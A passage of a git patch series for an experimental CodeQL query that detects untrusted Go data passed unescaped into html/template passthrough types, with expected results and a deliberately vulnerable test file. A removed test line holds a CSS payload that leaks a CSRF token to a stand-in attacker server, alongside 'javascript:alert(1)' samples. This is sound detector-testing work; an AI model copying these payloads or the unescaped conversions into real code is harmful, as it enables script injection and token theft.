HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string | -| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | semmle.label | caught | #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | converted | diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go index 3ae62c166ea..04f2dc97937 100755 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go @@ -2,13 +2,12 @@ package main import ( "html/template" + "net/http" "os" ) func main() {} -func source(s string) string { - return s -} + func checkError(err error) { if err != nil { panic(err) @@ -18,7 +17,7 @@ func checkError(err error) { type HTMLAlias = template.HTML // bad is an example of a bad implementation -func bad() { +func bad(req *http.Request) { tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) tmplTag, _ := template.New("test").Parse(`Hi \n`) tmplScript, _ := template.New("test").Parse(``) @@ -26,53 +25,53 @@ func bad() { { { - var a = template.HTML(source(`link`)) + var a = template.HTML(req.UserAgent()) checkError(tmpl.Execute(os.Stdout, a)) } { { var a template.HTML - a = template.HTML(source(`link`)) + a = template.HTML(req.UserAgent()) checkError(tmpl.Execute(os.Stdout, a)) } { var a HTMLAlias - a = HTMLAlias(source(`link`)) + a = HTMLAlias(req.UserAgent()) checkError(tmpl.Execute(os.Stdout, a)) } } } { - var c = template.HTMLAttr(source(`href="https://example.com"`)) + var c = template.HTMLAttr(req.UserAgent()) checkError(tmplTag.Execute(os.Stdout, c)) } { - var d = template.JS(source("alert({hello: 'world'})")) + var d = template.JS(req.UserAgent()) checkError(tmplScript.Execute(os.Stdout, d)) } { - var e = template.JSStr(source("setTimeout('alert()')")) + var e = template.JSStr(req.UserAgent()) checkError(tmplScript.Execute(os.Stdout, e)) } { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + var b = template.CSS(req.UserAgent()) checkError(tmpl.Execute(os.Stdout, b)) } { - var f = template.Srcset(source(`evil.jpg 320w`)) + var f = template.Srcset(req.UserAgent()) checkError(tmplSrcset.Execute(os.Stdout, f)) } { - var g = template.URL(source("javascript:alert(1)")) + var g = template.URL(req.UserAgent()) checkError(tmpl.Execute(os.Stdout, g)) } } // good is an example of a good implementation -func good() { +func good(req *http.Request) { tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) { // This will be escaped: - var caught = source(`link`) + var caught = req.UserAgent() checkError(tmpl.Execute(os.Stdout, caught)) } } From 687e556df6905244f66c8e27e70e2c2c64c1293d Mon Sep 17 00:00:00 2001 From: Slavomir Date: Fri, 5 Mar 2021 01:01:30 +0100 Subject: [PATCH 04/20] Fixes from code review --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index a48ddaf1507..a05220edcf7 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -14,6 +14,8 @@ import DataFlow::PathGraph /** * Holds if the provided src node flows into a conversion to a PassthroughType. + * The `targetType` parameter gets populated with the name of the PassthroughType, + * and `conversionSink` with the node where the conversion happens. */ predicate isConvertedToPassthroughType( DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink @@ -26,11 +28,11 @@ predicate isConvertedToPassthroughType( } /** - * Gets the names of the types that will not be escaped when passed to + * Provides the names of the types that will not be escaped when passed to * a `html/template` template. */ -string getAPassthroughTypeName() { - result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] +class PassthroughTypeName extends string { + PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } } /** @@ -43,7 +45,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { string dstTypeName; ConversionFlowToPassthroughTypeConf() { - dstTypeName = getAPassthroughTypeName() and + dstTypeName instanceof PassthroughTypeName and this = "UnsafeConversion" + dstTypeName } @@ -55,7 +57,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { exists(Type typ | typ = sink.getResultType() and typ.getUnderlyingType*().hasQualifiedName("html/template", name) and - name = getAPassthroughTypeName() + name instanceof PassthroughTypeName ) } @@ -63,7 +65,7 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { } /** - * Holds if the the sink is a data value argument of a template execution call. + * Holds if the sink is a data value argument of a template execution call. */ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { exists(Method fn, string methodName | From 963631dedf2567ca28c71f428993ef45c9495bdb Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 15:52:10 +0100 Subject: [PATCH 05/20] Improve naming. --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index a05220edcf7..ae9a936ddcc 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -91,11 +91,11 @@ class TemplateExecutionFlowConf extends TaintTracking::Configuration { } from - TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink, - string targetTypeName, DataFlow::PathNode conversionSink + TemplateExecutionFlowConf cfg, DataFlow::PathNode untrustedSource, + DataFlow::PathNode tplExecutionSink, string targetTypeName, DataFlow::PathNode conversionSink where - cfg.hasFlowPath(source, sink) and - isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink) -select sink.getNode(), source, sink, + cfg.hasFlowPath(untrustedSource, tplExecutionSink) and + isConvertedToPassthroughType(untrustedSource.getNode(), targetTypeName, conversionSink) +select tplExecutionSink.getNode(), untrustedSource, tplExecutionSink, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - source.getNode(), "untrusted source", conversionSink.getNode(), "converted" + untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted" From 7e9f23ab8e1b1db0f934fec6375d68633938fb24 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Mon, 8 Mar 2021 17:56:03 +0100 Subject: [PATCH 06/20] Refactor flow logic to ensure `untrusted` flows to `conversion`, and `conversion` flows to `template-exec`. --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 96 +++++++-- .../HTMLTemplateEscapingPassthroughGood.go | 4 +- .../HTMLTemplateEscapingPassthrough.expected | 192 +++++++++++++++++- .../CWE-79/HTMLTemplateEscapingPassthrough.go | 14 +- 4 files changed, 286 insertions(+), 20 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index ae9a936ddcc..a3ac8f42877 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -17,10 +17,10 @@ import DataFlow::PathGraph * The `targetType` parameter gets populated with the name of the PassthroughType, * and `conversionSink` with the node where the conversion happens. */ -predicate isConvertedToPassthroughType( +predicate flowsFromUntrustedToConversion( DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink ) { - exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source | + exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source | cfg.hasFlowPath(source, conversionSink) and source.getNode() = src and targetType = cfg.getDstTypeName() @@ -37,14 +37,14 @@ class PassthroughTypeName extends string { /** * A taint-tracking configuration for reasoning about when an UntrustedFlowSource - * is converted into a special type which will not be escaped by the template generator; + * is converted into a special "passthrough" type which will not be escaped by the template generator; * this allows the injection of arbitrary content (html, css, js) into the generated * output of the templates. */ -class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { +class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration { string dstTypeName; - ConversionFlowToPassthroughTypeConf() { + FlowConfFromUntrustedToPassthroughTypeConversion() { dstTypeName instanceof PassthroughTypeName and this = "UnsafeConversion" + dstTypeName } @@ -64,6 +64,52 @@ class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration { override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) } } +/** + * Holds if the provided `conversion` node flows into the provided `execSink`. + */ +predicate flowsFromConversionToExec( + DataFlow::Node conversion, string targetType, DataFlow::PathNode execSink +) { + exists( + FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source, + DataFlow::PathNode execSinkLocal + | + cfg.hasFlowPath(source, execSinkLocal) and + source.getNode() = conversion and + execSink.getNode() = execSinkLocal.getNode() and + targetType = cfg.getDstTypeName() + ) +} + +/** + * A taint-tracking configuration for reasoning about when the result of a conversion + * to a PassthroughType flows to a template execution call. + */ +class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration { + string dstTypeName; + + FlowConfPassthroughTypeConversionToTemplateExecutionCall() { + dstTypeName instanceof PassthroughTypeName and + this = "UnsafeConversionToExec" + dstTypeName + } + + string getDstTypeName() { result = dstTypeName } + + override predicate isSource(DataFlow::Node source) { + isSourceConversionToPassthroughType(source, _) + } + + predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) { + exists(Type typ | + typ = source.getResultType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) and + name instanceof PassthroughTypeName + ) + } + + override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } +} + /** * Holds if the sink is a data value argument of a template execution call. */ @@ -82,20 +128,46 @@ predicate 